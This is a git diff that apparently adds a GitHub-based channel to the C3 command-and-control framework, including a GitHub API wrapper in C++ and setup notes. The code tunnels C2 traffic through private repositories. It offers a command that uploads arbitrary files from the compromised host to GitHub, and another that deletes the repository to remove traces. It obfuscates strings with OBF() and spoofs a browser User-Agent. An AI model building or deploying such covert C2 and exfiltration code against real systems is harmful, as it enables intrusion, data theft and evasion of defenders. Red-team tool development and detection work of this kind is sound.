diff --git a/Res/GithubChannel.md b/Res/GithubChannel.md new file mode 100644 index 0000000..fb602da --- /dev/null +++ b/Res/GithubChannel.md @@ -0,0 +1,14 @@ +# Github Channel + +## Setup + +Prior to using Github API within C3, the steps below must be taken. +1. Create a Github account +2. Generate Personal Access Token with API Permissions (repo, delete_repo) +3. Insert the generated Personal Access Token to C3 channel. + +## Rate Limit + +There is rate limiting implemented for Github API. Each channel instance will send GET request every 3 to 6 seconds, to receive packets from server. Multiple channels accessing one Github account can consume whole limit causing other connections to throttle. Refer to https://developer.github.com/v3/rate_limit/ for more information. + + diff --git a/Src/Common/Common.vcxitems b/Src/Common/Common.vcxitems index e14262c..f539443 100644 --- a/Src/Common/Common.vcxitems +++ b/Src/Common/Common.vcxitems @@ -19,6 +19,7 @@ + @@ -37,6 +38,7 @@ + @@ -65,6 +67,7 @@ + @@ -72,6 +75,7 @@ + diff --git a/Src/Common/Common.vcxitems.filters b/Src/Common/Common.vcxitems.filters index 9783a8d..676ce7d 100644 --- a/Src/Common/Common.vcxitems.filters +++ b/Src/Common/Common.vcxitems.filters @@ -38,6 +38,8 @@ + + @@ -125,5 +127,7 @@ + + \ No newline at end of file diff --git a/Src/Common/FSecure/C3/Interfaces/Channels/Github.cpp b/Src/Common/FSecure/C3/Interfaces/Channels/Github.cpp new file mode 100644 index 0000000..3b40625 --- /dev/null +++ b/Src/Common/FSecure/C3/Interfaces/Channels/Github.cpp @@ -0,0 +1,136 @@ +#include "Stdafx.h" +#include "Github.h" +#include "Common/FSecure/Crypto/Base64.h" + +////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +FSecure::C3::Interfaces::Channels::Github::Github(ByteView arguments) + : m_inboundDirectionName{ arguments.Read() } + , m_outboundDirectionName{ arguments.Read() } +{ + auto [GithubToken, channelName, userAgent] = arguments.Read(); + m_githubObj = FSecure::GithubApi{ GithubToken, channelName, userAgent }; +} + +////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +size_t FSecure::C3::Interfaces::Channels::Github::OnSendToChannel(ByteView data) +{ + // There is a cap on uploads of files >150mb at which point different APIs are required. + data = data.SubString(0, 100 * 1024 * 1024); + m_githubObj.WriteMessageToFile(m_outboundDirectionName, data); + return data.size(); +} + +////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +std::vector FSecure::C3::Interfaces::Channels::Github::OnReceiveFromChannel() +{ + std::vector ret; + for (auto& [ts, id] : m_githubObj.GetMessagesByDirection(m_inboundDirectionName)) + { + ret.push_back(m_githubObj.ReadFile(id)); + m_githubObj.DeleteFile(id); + } + + return ret; +} + + +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +FSecure::ByteVector FSecure::C3::Interfaces::Channels::Github::OnRunCommand(ByteView command) +{ + auto commandCopy = command; //each read moves ByteView. CommandCopy is needed for default. + switch (command.Read()) + { + case 0: + UploadFile(command); + return {}; + case 1: + DeleteAllFiles(); + return {}; + default: + return AbstractChannel::OnRunCommand(commandCopy); + } +} + +void FSecure::C3::Interfaces::Channels::Github::UploadFile(ByteView args) +{ + m_githubObj.UploadFile(args.Read()); +} + + +void FSecure::C3::Interfaces::Channels::Github::DeleteAllFiles() +{ + m_githubObj.DeleteAllFiles(); +} + +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +const char* FSecure::C3::Interfaces::Channels::Github::GetCapability() +{ + return R"_( +{ + "create": + { + "arguments": + [ + [ + { + "type": "string", + "name": "Input ID", + "min": 4, + "randomize": true, + "description": "Used to distinguish packets for the channel" + }, + { + "type": "string", + "name": "Output ID", + "min": 4, + "randomize": true, + "description": "Used to distinguish packets from the channel" + } + ], + { + "type": "string", + "name": "Github token", + "min": 1, + "description": "This token is what channel needs to interact with Github's API" + }, + { + "type": "string", + "name": "Repositary name", + "min": 4, + "randomize": true, + "description": "Repositary to create for channel" + }, + { + "type": "string", + "name": "User-Agent Header", + "min": 1, + "defaultValue": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36", + "description": "The User-Agent header to set" + } + ] + }, + "commands": + [ + { + "name": "Upload File from Relay", + "id": 0, + "description": "Upload file from host running Relay directly to Github", + "arguments": + [ + { + "type" : "string", + "name": "Remote Filepath", + "description" : "Path to upload." + } + ] + }, + { + "name": "Remove All Files", + "id": 1, + "description": "Delete channel folder and all files within it.", + "arguments": [] + } + ] +} +)_"; +} diff --git a/Src/Common/FSecure/C3/Interfaces/Channels/Github.h b/Src/Common/FSecure/C3/Interfaces/Channels/Github.h new file mode 100644 index 0000000..54efa9c --- /dev/null +++ b/Src/Common/FSecure/C3/Interfaces/Channels/Github.h @@ -0,0 +1,56 @@ +#pragma once +#include "Common/FSecure/Github/GithubApi.h" + +namespace FSecure::C3::Interfaces::Channels +{ + ///Implementation of the Github Channel. + struct Github : public Channel + { + /// Public constructor. + /// @param arguments factory arguments. + Github(ByteView arguments); + + /// Destructor + virtual ~Github() = default; + + /// OnSend callback implementation. + /// @param packet data to send to Channel. + /// @returns size_t number of bytes successfully written. + size_t OnSendToChannel(ByteView packet); + + /// Reads a single C3 packet from Channel. + /// @return packet retrieved from Channel. + std::vector OnReceiveFromChannel(); + + /// Get channel capability. + /// @returns Channel capability in JSON format + static const char* GetCapability(); + + /// Values used as default for channel jitter. 30 ms if unset. Current jitter value can be changed at runtime. + /// Set long delay otherwise Github rate limit will heavily impact channel. + constexpr static std::chrono::milliseconds s_MinUpdateDelay = 3500ms, s_MaxUpdateDelay = 6500ms; + + /// Processes internal (C3 API) Command. + /// @param command a buffer containing whole command and it's parameters. + /// @return command result. + ByteVector OnRunCommand(ByteView command) override; + + protected: + /// The inbound direction name of data + std::string m_inboundDirectionName; + + /// The outbound direction name, the opposite of m_inboundDirectionName + std::string m_outboundDirectionName; + + /// Uploads file. + /// @param path to file to be uploaded. + void UploadFile(ByteView args); + + /// Delete all files relating to the channel. + void DeleteAllFiles(); + + private: + /// An object encapsulating Github's API, providing methods allowing the consumer to upload and download files from Github, among other things. + FSecure::GithubApi m_githubObj; + }; +} diff --git a/Src/Common/FSecure/Github/GithubApi.cpp b/Src/Common/FSecure/Github/GithubApi.cpp new file mode 100644 index 0000000..6f84ae6 --- /dev/null +++ b/Src/Common/FSecure/Github/GithubApi.cpp @@ -0,0 +1,310 @@ +#include "stdafx.h" +#include "GithubApi.h" +#include "Common/FSecure/CppTools/StringConversions.h" +#include "Common/FSecure/WinHttp/HttpClient.h" +#include "Common/FSecure/Crypto/Base64.h" +#include "Common/FSecure/CppTools/Utils.h" +#include + + +using namespace FSecure::StringConversions; +using namespace FSecure::WinHttp; + +namespace { + std::wstring ToWideString(std::string const& str) { + return Convert(str); + } +} + + +FSecure::GithubApi::GithubApi(std::string const& token, std::string const& channelName, std::string const& userAgent) { + if (auto winProxy = WinTools::GetProxyConfiguration(); !winProxy.empty()) + this->m_ProxyConfig = (winProxy == OBF(L"auto")) ? WebProxy(WebProxy::Mode::UseAutoDiscovery) : WebProxy(winProxy); + + + std::string lowerChannelName = channelName; + std::transform(lowerChannelName.begin(), lowerChannelName.end(), lowerChannelName.begin(), [](unsigned char c) { return std::tolower(c); }); + + SetToken(token); + SetUserAgent(userAgent); + SetUser(); + SetChannel(CreateChannel(lowerChannelName)); +} + +void FSecure::GithubApi::SetUser() { + std::string url = OBF("https://api.github.com/user"); + json response = SendJsonRequest(url, NULL, Method::GET); + + if (response.contains(OBF("login"))) { + this->m_Username = response[OBF("login")]; + } + else { + throw std::runtime_error(OBF("Throwing exception: bad credentials\n")); + } +} + +void FSecure::GithubApi::SetUserAgent(std::string const& userAgent) { + this->m_UserAgent = userAgent; +} + +void FSecure::GithubApi::SetToken(std::string const& token) { + this->m_Token = token; +} + +void FSecure::GithubApi::SetChannel(std::string const& channelName) { + this->m_Channel = channelName; +} + +std::map FSecure::GithubApi::ListChannels() { + std::map channelMap; + std::string url = OBF("https://api.github.com/user/repos"); + + json response = SendJsonRequest(url, NULL, Method::GET); + + for (auto& channel : response) { + std::string channelName = channel[OBF("name")]; + + std::int64_t cId = channel[OBF("id")]; + + channelMap.insert({ channelName, cId }); + } + + return channelMap; +} + +std::string FSecure::GithubApi::CreateChannel(std::string const& channelName) { + std::map channels = this->ListChannels(); + std::string url; + std::string errorMsg; + json response; + + if (channels.find(channelName) == channels.end()) + { + url = OBF("https://api.github.com/user/repos"); + + json j; + j[OBF("name")] = channelName; + j[OBF("auto_init")] = true; + j[OBF("private")] = true; + + response = SendJsonRequest(url, j, Method::POST); + + if (response.contains(OBF("message"))) { + errorMsg = response[OBF("message")] + OBF("\n"); + throw std::runtime_error(OBF("Throwing exception: unable to create channel - ") + errorMsg); + } + } + + return channelName; +} + +FSecure::ByteVector FSecure::GithubApi::ReadFile(std::string const& fileNameSHA) { + std::string url; + json response; + std::string delimiter = OBF("!"); + std::string filename; + std::string fileSHA; + std::string fileDownloadURL; + + //string contains filename:sha:download_url value + std::vector fileNameSHASplit = Utils::SplitAndCopy(fileNameSHA, delimiter); + + if (fileNameSHASplit.size() > 0) { + filename = fileNameSHASplit.at(0); + fileSHA = fileNameSHASplit.at(1); + fileDownloadURL = fileNameSHASplit.at(2); + } + else { + throw std::runtime_error(OBF("Throwing exception: cant parse fileNameSHA\n")); + } + + ByteVector content = SendHttpRequest(fileDownloadURL, "", Method::GET, true); + + return content; +} + +void FSecure::GithubApi::WriteMessageToFile(std::string const& direction, ByteView data, std::string const& providedFilename) { + std::string filename; + std::string url; + json j; + + if (providedFilename.empty()) { + ///Create a filename thats prefixed with message direction and suffixed + // with more granular timestamp for querying later + std::string ts = std::to_string(FSecure::Utils::TimeSinceEpoch()); + filename = direction + OBF("-") + FSecure::Utils::GenerateRandomString(10) + OBF("-") + ts; + } + else { + filename = providedFilename; + } + + url = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") + this->m_Channel + + OBF("/contents/") + filename; + + j[OBF("message")] = OBF("Initial Commit"); + j[OBF("branch")] = OBF("master"); + j[OBF("content")] = cppcodec::base64_rfc4648::encode(data); + + json response = SendJsonRequest(url, j, Method::PUT); +} + +void FSecure::GithubApi::UploadFile(std::string const& path) { + std::filesystem::path filepathForUpload = path; + auto readFile = std::ifstream(filepathForUpload, std::ios::binary); + + ByteVector packet = ByteVector{ std::istreambuf_iterator{readFile}, {} }; + readFile.close(); + + std::string ts = std::to_string(FSecure::Utils::TimeSinceEpoch()); + std::string fn = filepathForUpload.filename().string(); // retain same file name and file extension for convenience. + std::string filename = OBF("upload-") + FSecure::Utils::GenerateRandomString(10) + OBF("-") + ts + OBF("-") + fn; + + WriteMessageToFile("", packet, filename); +} + +void FSecure::GithubApi::DeleteFile(std::string const& fileNameSHA) { + std::string url; + json j; + json response; + + std::string delimiter = OBF("!"); + std::string fileSHA; + std::string filename; + + std::vector fileNameSHASplit = Utils::SplitAndCopy(fileNameSHA, delimiter); + + if (fileNameSHASplit.size() > 0) { + filename = fileNameSHASplit.at(0); + fileSHA = fileNameSHASplit.at(1); + } + else { + throw std::runtime_error(OBF("Throwing exception: cant parse fileNameSHA\n")); + } + + url = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") + this->m_Channel + + OBF("/contents/") + filename; + + j[OBF("message")] = OBF("Initial Commit"); + j[OBF("sha")] = fileSHA; + + response = SendJsonRequest(url, j, Method::DEL); +} + +void FSecure::GithubApi::DeleteAllFiles() { + std::string url; + json response; + + //delete repo + url = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") + + this->m_Channel; + + response = SendJsonRequest(url, NULL, Method::DEL); + + if (response.contains(OBF("message"))) { + throw std::runtime_error(OBF("Throwing exception: unable to delete repository\n")); + } +} + +std::map FSecure::GithubApi::GetMessagesByDirection(std::string const& direction) { + std::map messages; + json response; + std::string filename; + std::size_t found; + std::string fileSHA; + std::string fileDownloadURL; + std::string delimiter = OBF("!"); + std::string url = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") + + this->m_Channel + OBF("/contents"); + + response = json::parse(SendHttpRequest(url, OBF("*/*"), Method::GET, true)); + + for (auto& match : response) { + if (match.contains(OBF("name"))) { + filename = match[OBF("name")]; + fileSHA = match[OBF("sha")]; + fileDownloadURL = match[OBF("download_url")]; + + //Search whether filename contains direction id + found = filename.find(direction); + + if (found != std::string::npos) { + std::string ts = filename.substr(filename.length() - 10); // 10 = epoch time length + messages.insert({ts, filename + delimiter + fileSHA + delimiter + fileDownloadURL}); + } + } + } + + return messages; +} + +FSecure::ByteVector FSecure::GithubApi::SendHttpRequest(std::string const& host, FSecure::WinHttp::ContentType contentType, std::vector const& data, FSecure::WinHttp::Method method, bool setAuthorizationHeader) { + return SendHttpRequest(host, GetContentType(contentType), data, method, setAuthorizationHeader); +} + +FSecure::ByteVector FSecure::GithubApi::SendHttpRequest(std::string const& host, std::wstring const& contentType, std::vector const& data, FSecure::WinHttp::Method method, bool setAuthorizationHeader) { + while (true) { + HttpClient webClient(ToWideString(host), m_ProxyConfig); + HttpRequest request; + request.m_Method = method; + + if (!data.empty()) { + request.SetData(contentType, data); + } + + request.SetHeader(Header::UserAgent, ToWideString(this->m_UserAgent)); + + if (setAuthorizationHeader) { // Only set Authorization header when needed (S3 doesn't like this header) + request.SetHeader(Header::Authorization, OBF(L"token ") + ToWideString(this->m_Token)); + } + + auto resp = webClient.Request(request); + + if (resp.GetStatusCode() == StatusCode::OK || resp.GetStatusCode() == StatusCode::Created) { + return resp.GetData(); + } + else if (resp.GetStatusCode() == StatusCode::TooManyRequests || resp.GetStatusCode() == StatusCode::Conflict) { + std::this_thread::sleep_for(Utils::GenerateRandomValue(10s, 20s)); + } + else { + throw std::exception(OBF("[x] Non 200/201/429 HTTP Response\n")); + } + } +} + +FSecure::ByteVector FSecure::GithubApi::SendHttpRequest(std::string const& host, std::string const& acceptType, FSecure::WinHttp::Method method, bool setAuthorizationHeader) { + while (true) { + HttpClient webClient(ToWideString(host), m_ProxyConfig); + HttpRequest request; + request.m_Method = method; + + request.SetHeader(Header::Accept, ToWideString(acceptType)); + + request.SetHeader(Header::UserAgent, ToWideString(this->m_UserAgent)); + + if (setAuthorizationHeader) { // Only set Authorization header when needed (S3 doesn't like this header) + request.SetHeader(Header::Authorization, OBF(L"token ") + ToWideString(this->m_Token)); + } + + auto resp = webClient.Request(request); + + if (resp.GetStatusCode() == StatusCode::OK || resp.GetStatusCode() == StatusCode::Created) { + return resp.GetData(); + } + else if (resp.GetStatusCode() == StatusCode::TooManyRequests) { + std::this_thread::sleep_for(Utils::GenerateRandomValue(10s, 20s)); + } + else { + throw std::exception(OBF("[x] Non 200/201/429 HTTP Response\n")); + } + } +} + +json FSecure::GithubApi::SendJsonRequest(std::string const& url, json const& data, FSecure::WinHttp::Method method) { + if (data == NULL) { + return json::parse(SendHttpRequest(url, ContentType::MultipartFormData, {}, method)); + } + else { + std::string j = data.dump(); + return json::parse(SendHttpRequest(url, ContentType::ApplicationJson, { std::make_move_iterator(j.begin()), std::make_move_iterator(j.end()) }, method)); + } +} \ No newline at end of file diff --git a/Src/Common/FSecure/Github/GithubApi.h b/Src/Common/FSecure/Github/GithubApi.h new file mode 100644 index 0000000..411ba8e --- /dev/null +++ b/Src/Common/FSecure/Github/GithubApi.h @@ -0,0 +1,107 @@ +#pragma once + +#include "Common/json/json.hpp" +#include "Common/FSecure/WinHttp/WebProxy.h" +#include "Common/FSecure/WinHttp/Constants.h" + +using json = nlohmann::json; //for easy parsing of json API: https://github.com/nlohmann/json + +namespace FSecure +{ + class GithubApi + { + public: + + /// Constructor for the Github Api class. + GithubApi(std::string const& token, std::string const& channelName, std::string const& userAgent); + + /// Retrieve the Github Username and initialise for the instance + void SetUser(); + + /// set OAuth token for Github + /// @param token - the textual Github OAuth token. + void SetToken(std::string const& token); + + /// set UserAgent for Github HTTP Request + /// @param userAgent + void SetUserAgent(std::string const& userAgent); + + /// Set the channel (i.e. Github repository) that this object uses for communications + /// @param channelName - the channel name Id (not name), for example CGPMGFGSH. + void SetChannel(std::string const& channelName); + + /// Will list the created folders in Github and if already preset return the channel name. If not already created, + /// creates a new folder on Github. + /// @param channelName - the actual name of the folder to create, such as "files". + /// @return - the channel name of the new or already existing channel. + std::string CreateChannel(std::string const& channelName); + + /// List all the repository in the workspace the object's token is tied to. + /// @return - a map of {channelName -> channelId} + std::map ListChannels(); + + /// Download file by its path. + /// @param filename - path of file and the size. Format "filename:filesize" + /// @return - string of file content + FSecure::ByteVector ReadFile(std::string const& fileNameSHA); + + /// Write a message as the contents of a file and upload to Github. + /// @param direction - the name of the file to upload + /// @param data - the text of the message + /// @param filename - optional custom filename for uploaded file + void WriteMessageToFile(std::string const& direction = "", ByteView data = {}, std::string const& providedFilename = ""); + + /// Upload a file in its entirety to Github + /// @param path - path to file for upload + void UploadFile(std::string const& path); + + /// Delete a file + /// @param filename - the full path of the file on Github. + void DeleteFile(std::string const& filename); + + /// Delete channel folder and all files within Github + void DeleteAllFiles(); + + /// Get all of the files representing messages by a direction. This is a C3 specific method, used by a server relay to get client messages and vice versa. + /// @param direction - the direction to search for (eg. "S2C"). + /// @return - a map of timestamp and file id, where id allows replies to be read later + std::map GetMessagesByDirection(std::string const& direction); + + + /// Default constructor. + GithubApi() = default; + + private: + + /// Hold proxy settings + WinHttp::WebProxy m_ProxyConfig; + + /// The Github username + std::string m_Username; + + /// The Github channel (repo) through which messages are sent and received, will be sent when the object is created. + std::string m_Channel; + + /// The Github OAuth Token that allows the object access to the account. Needs to be manually created as described in documentation. + std::string m_Token; + + /// UserAgent + std::string m_UserAgent; + + + + /// Send http request, uses preset token for authentication (wrapper to easily set content type) + FSecure::ByteVector FSecure::GithubApi::SendHttpRequest(std::string const& host, WinHttp::ContentType contentType, std::vector const& data, WinHttp::Method method, bool setAuthorizationHeader = true); + + /// Send http request, uses preset token for authentication + FSecure::ByteVector FSecure::GithubApi::SendHttpRequest(std::string const& host, std::wstring const& contentType, std::vector const& data, WinHttp::Method method, bool setAuthorizationHeader = true); + + /// Send http request, uses preset token for authentication with github accept header to view raw file content + FSecure::ByteVector SendHttpRequest(std::string const& host, std::string const& acceptType, FSecure::WinHttp::Method method, bool setAuthorizationHeader); + + /// Send http request with json data, uses preset token for authentication + json SendJsonRequest(std::string const& url, json const& data, WinHttp::Method method); + }; + +} +